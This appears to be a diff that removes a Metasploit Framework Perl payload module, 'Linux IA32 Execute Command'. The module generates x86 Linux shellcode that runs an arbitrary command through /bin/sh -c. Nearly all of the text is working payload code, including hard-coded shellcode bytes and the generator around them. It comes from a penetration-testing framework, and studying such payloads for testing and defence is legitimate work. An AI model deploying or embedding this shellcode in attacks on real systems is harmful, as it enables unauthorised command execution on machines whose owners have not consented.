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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Payload::linux_ia32_exec;
- use strict;
- use base 'Msf::PayloadComponent::NoConnection';
- use Pex::x86;
-
- my $info =
- {
- 'Name' => 'Linux IA32 Execute Command',
- 'Version' => '$Revision: 1.1 $',
- 'Description' => 'Execute an arbitrary command',
- 'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
- 'Arch' => [ 'x86' ],
- 'Priv' => 0,
- 'OS' => [ 'linux' ],
- 'Size' => '',
- 'UserOpts' =>
- {
- 'CMD' => [1, 'DATA', 'The command string to execute'],
- },
- };
-
- sub new {
- my $class = shift;
- my $hash = @_ ? shift : { };
- $hash = $class->MergeHashRec($hash, {'Info' => $info});
- my $self = $class->SUPER::new($hash, @_);
-
- $self->_Info->{'Size'} = $self->_GenSize;
- return($self);
- }
-
- sub Build {
- my $self = shift;
- return($self->Generate($self->GetVar('CMD')));
- }
-
- sub Generate {
- my $self = shift;
- my $cmd = shift;
-
- my $shellcode =
- "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68".
- "\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52".
- Pex::x86::call(length($cmd)+1).
- $cmd . "\x00".
- "\x57\x53\x89\xe1\xcd\x80";
-
- return($shellcode);
- }
-
- sub _GenSize {
- my $self = shift;
- my $bin = $self->Generate('');
- return(length($bin));
- }
-
- 1;
-